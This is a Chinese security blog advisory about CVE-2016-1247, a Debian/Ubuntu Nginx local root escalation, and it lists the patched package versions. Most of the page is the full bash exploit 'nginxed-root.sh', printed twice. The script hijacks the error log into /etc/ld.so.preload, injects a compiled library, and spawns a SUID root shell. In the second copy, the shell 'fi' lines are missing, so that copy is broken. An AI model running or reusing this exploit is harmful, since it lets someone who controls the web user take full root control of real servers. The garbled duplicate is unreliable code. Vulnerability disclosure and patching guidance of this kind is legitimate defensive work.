【预警通告】Nginx本地提权漏洞 Secer's Blog - 记录互联网安全历程与个人成长经历

2016年11月15日（当地时间），legalhackers.com网站发布了一个关于Nginx服务器本地提权漏洞的通告，该通告所涉及的漏洞编号为CVE-2016-1247。基于Debian发行版系统（Debian或者Ubuntu）的Nginx服务器包被发现允许创建一个不安全的日志目录，攻击者可以利用此安全问题将用户权限从Nginx/web用户提升为root。详情请见如下链接：http://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

文章目录

什么是Nginx

Nginx（发音同engine x）是一个网页服务器，它能反向代理HTTP, HTTPS, SMTP, POP3, IMAP的协议链接，以及一个负载均衡器和一个HTTP缓存。起初是供俄国大型的门户网站及搜索引擎Rambler使用。此软件在BSD-like协议下发行，可以在UNIX、GNU/Linux、BSD、Mac OS X、Solaris，以及Microsoft Windows等操作系统中运行。(引用自维基百科)

漏洞验证程序

POC代码如下，代码作者是Dawid Golunski。

 ------------[ nginxed-root.sh ]--------------

#!/bin/bash
#
# Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit
# nginxed-root.sh (ver. 1.0)
#
# CVE-2016-1247
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# ---
# This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu
# etc.) to escalate their privileges from nginx web server user (www-data) to root 
# through unsafe error log handling.
#
# The exploit waits for Nginx server to be restarted or receive a USR1 signal.
# On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)
# script which is called daily by the cron.daily on default installations.
# The restart should take place at 6:25am which is when cron.daily executes.
# Attackers can therefore get a root shell automatically in 24h at most without any admin
# interaction just by letting the exploit run till 6:25am assuming that daily logrotation 
# has been configured. 
#
#
# Exploit usage:
# ./nginxed-root.sh path_to_nginx_error.log 
#
# To trigger logrotation for testing the exploit, you can run the following command:
#
# /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
# Video PoC:
# https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/nginxrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
    # Cleanup 
    echo -e "\n[+] Cleaning up..."
    rm -f $PRIVESCSRC
    rm -f $PRIVESCLIB
    rm -f $ERRORLOG
    touch $ERRORLOG
    if [ -f /etc/ld.so.preload ]; then
        echo -n > /etc/ld.so.preload
    fi
    echo -e "\n[+] Job done. Exiting with code $1 \n"
    exit $1
}

function ctrl_c() {
        echo -e "\n[+] Ctrl+C pressed"
    cleanexit 0
}

#intro 

cat <<_eascii_
 _______________________________
< Is your server (N)jinxed ? ;o >
 -------------------------------
           \ 
            \          __---__
                    _-       /--______
               __--( /     \ )XXXXXXXXXXX\v.  
             .-XXX(   O   O  )XXXXXXXXXXXXXXX- 
            /XXX(       U     )        XXXXXXX\ 
          /XXXXX(              )--_  XXXXXXXXXXX\ 
         /XXXXX/ (      O     )   XXXXXX   \XXXXX\ 
         XXXXX/   /            XXXXXX   \__ \XXXXX
         XXXXXX__/          XXXXXX         \__---->
 ---___  XXX__/          XXXXXX      \__         /
   \-  --__/   ___/\  XXXXXX            /  ___--/=
    \-\    ___/    XXXXXX              '--- XXXXXX
       \-\/XXX\ XXXXXX                      /XXXXX
         \XXXXXXXXX   \                    /XXXXX/
          \XXXXXX      >                 _/XXXXX/
            \XXXXX--__/              __-- XXXX/
             -XXXXXXXX---------------  XXXXXX-
                \XXXXXXXXXXXXXXXXXXXXXXXXXX/
                  ""VXXXXXXXXXXXXXXXXXXV""
_eascii_

echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"

# Args
if [ $# -lt 1 ]; then
    echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
    echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
    exit 3
fi

# Priv check

echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
id | grep -q www-data
if [ $? -ne 0 ]; then
    echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"
    exit 3
fi

# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
    echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n"
    exit 3
fi

# [ Exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>

uid_t geteuid(void) {
    static uid_t  (*old_geteuid)();
    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    if ( old_geteuid() == 0 ) {
        chown("$BACKDOORPATH", 0, 0);
        chmod("$BACKDOORPATH", 04777);
        unlink("/etc/ld.so.preload");
    }
    return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
    echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
    cleanexit 2;
fi


# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
    echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
    exit 2
fi

# Symlink the log file
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
    echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
    cleanexit 3
fi
echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"

# Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered
curl http://localhost/ >/dev/null 2>/dev/null
# Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily 
# rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)
echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
while :; do 
    sleep 1
    if [ -f /etc/ld.so.preload ]; then
        echo $PRIVESCLIB > /etc/ld.so.preload
        rm -f $ERRORLOG
        break;
    fi
done

# /etc/ld.so.preload should be owned by www-data user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null

# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then 
    echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
    echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m"
else
    echo -e "\n[!] Failed to get root"
    cleanexit 2
fi

rm -f $ERRORLOG
echo > $ERRORLOG
 
# Use the rootshell to perform cleanup that requires root privilges
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
# Reset the logging to error.log
$BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"

# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -i

# Job done.
cleanexit 0

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------------[ nginxed-root.sh ]--------------

#!/bin/bash

# Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit

# nginxed-root.sh (ver. 1.0)

# CVE-2016-1247

# Discovered and coded by:

# Dawid Golunski

# dawid[at]legalhackers.com

# https://legalhackers.com

# Follow https://twitter.com/dawid_golunski for updates on this advisory.

# ---

# This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu

# etc.) to escalate their privileges from nginx web server user (www-data) to root

# through unsafe error log handling.

# The exploit waits for Nginx server to be restarted or receive a USR1 signal.

# On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)

# script which is called daily by the cron.daily on default installations.

# The restart should take place at 6:25am which is when cron.daily executes.

# Attackers can therefore get a root shell automatically in 24h at most without any admin

# interaction just by letting the exploit run till 6:25am assuming that daily logrotation

# has been configured.

# Exploit usage:

# ./nginxed-root.sh path_to_nginx_error.log

# To trigger logrotation for testing the exploit, you can run the following command:

# /usr/sbin/logrotate -vf /etc/logrotate.d/nginx

# See the full advisory for details at:

# https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

# Video PoC:

# https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

# Disclaimer:

# For testing purposes only. Do no harm.

BACKDOORSH="/bin/bash"

BACKDOORPATH="/tmp/nginxrootsh"

PRIVESCLIB="/tmp/privesclib.so"

PRIVESCSRC="/tmp/privesclib.c"

SUIDBIN="/usr/bin/sudo"

function cleanexit {

# Cleanup

echo -e "\n[+] Cleaning up..."

rm -f $PRIVESCSRC

rm -f $PRIVESCLIB

rm -f $ERRORLOG

touch $ERRORLOG

if [ -f /etc/ld.so.preload ]; then

echo -n > /etc/ld.so.preload

echo -e "\n[+] Job done. Exiting with code $1 \n"

exit $1

}

function ctrl_c() {

echo -e "\n[+] Ctrl+C pressed"

cleanexit 0

}

#intro

cat <<_eascii_

_______________________________

< Is your server (N)jinxed ? ;o >

-------------------------------

\ __---__

_- /--______

__--( / \ )XXXXXXXXXXX\v.

.-XXX( O O )XXXXXXXXXXXXXXX-

/XXX( U ) XXXXXXX\

/XXXXX( )--_ XXXXXXXXXXX\

/XXXXX/ ( O ) XXXXXX \XXXXX\

XXXXX/ / XXXXXX \__ \XXXXX

XXXXXX__/ XXXXXX \__---->

---___ XXX__/ XXXXXX \__ /

\- --__/ ___/\ XXXXXX / ___--/=

\-\ ___/ XXXXXX '--- XXXXXX

\-\/XXX\ XXXXXX /XXXXX

\XXXXXXXXX \ /XXXXX/

\XXXXXX > _/XXXXX/

\XXXXX--__/ __-- XXXX/

-XXXXXXXX--------------- XXXXXX-

\XXXXXXXXXXXXXXXXXXXXXXXXXX/

""VXXXXXXXXXXXXXXXXXXV""

_eascii_

echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n"

echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"

# Args

if [ $# -lt 1 ]; then

echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"

echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"

exit 3

# Priv check

echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"

id | grep -q www-data

if [ $? -ne 0 ]; then

echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"

exit 3

# Set target paths

ERRORLOG="$1"

if [ ! -f $ERRORLOG ]; then

echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n"

exit 3

# [ Exploitation ]

trap ctrl_c INT

# Compile privesc preload library

echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"

cat <<_solibeof_>$PRIVESCSRC

#define _GNU_SOURCE

#include <stdio.h>

#include <sys/stat.h>

#include <unistd.h>

#include <dlfcn.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

uid_t geteuid(void) {

static uid_t (*old_geteuid)();

old_geteuid = dlsym(RTLD_NEXT, "geteuid");

if ( old_geteuid() == 0 ) {

chown("$BACKDOORPATH", 0, 0);

chmod("$BACKDOORPATH", 04777);

unlink("/etc/ld.so.preload");

}

return old_geteuid();

}

_solibeof_

/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"

if [ $? -ne 0 ]; then

echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."

cleanexit 2;

# Prepare backdoor shell

cp $BACKDOORSH $BACKDOORPATH

echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check

if [ -f /etc/ld.so.preload ]; then

echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."

exit 2

# Symlink the log file

rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG

if [ $? -ne 0 ]; then

echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."

cleanexit 3

echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"

# Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered

curl http://localhost/ >/dev/null 2>/dev/null

# Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily

# rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)

echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."

while :; do

sleep 1

if [ -f /etc/ld.so.preload ]; then

echo $PRIVESCLIB > /etc/ld.so.preload

rm -f $ERRORLOG

break;

done

# /etc/ld.so.preload should be owned by www-data user at this point

# Inject the privesc.so shared library to escalate privileges

echo $PRIVESCLIB > /etc/ld.so.preload

echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`"

echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"

echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"

chmod 755 /etc/ld.so.preload

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)

echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"

sudo 2>/dev/null >/dev/null

# Check for the rootshell

ls -l $BACKDOORPATH

ls -l $BACKDOORPATH | grep rws | grep -q root

if [ $? -eq 0 ]; then

echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"

echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m"

else

echo -e "\n[!] Failed to get root"

cleanexit 2

rm -f $ERRORLOG

echo > $ERRORLOG

# Use the rootshell to perform cleanup that requires root privilges

$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"

# Reset the logging to error.log

$BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"

# Execute the rootshell

echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"

$BACKDOORPATH -p -i

# Job done.

cleanexit 0

绿盟科技威胁预警级别

中级：影响范围可控，危害程度可控，利用难度较高，7*8小时内部应急跟踪，72小时内完成技术分析、产品升级和防护方案。

受影响及修复情况：

1.Debian

2.Ubuntu

Ubuntu已修复的版本如下：

修复方法

Debian和Ubuntu官方已经对此漏洞进行了修复，建议用户升级到不受影响的版本。下载页面如下：

Debian

Nginx package

https://sources.debian.net/src/nginx/

Ubuntu 16.10

Nginx package 1.10.1-0ubuntu1.1：

https://launchpad.net/ubuntu/+source/nginx/1.10.1-0ubuntu1.1

Ubuntu 16.04 LTS

Nginx package 1.10.0-0ubuntu0.16.04.3

https://launchpad.net/ubuntu/+source/nginx/1.10.0-0ubuntu0.16.04.3

Ubuntu 14.04 LTS

Nginx package 1.4.6-1ubuntu3.6

https://launchpad.net/ubuntu/+source/nginx/1.4.6-1ubuntu3.6

绿盟科技安全团队会持续关注事态变化，后续会发布详细的分析报告、产品升级及解决方案，请广大用户随时关注。

绿盟科技威胁事件定级标准

绿盟科技威胁事件定级标准

声明

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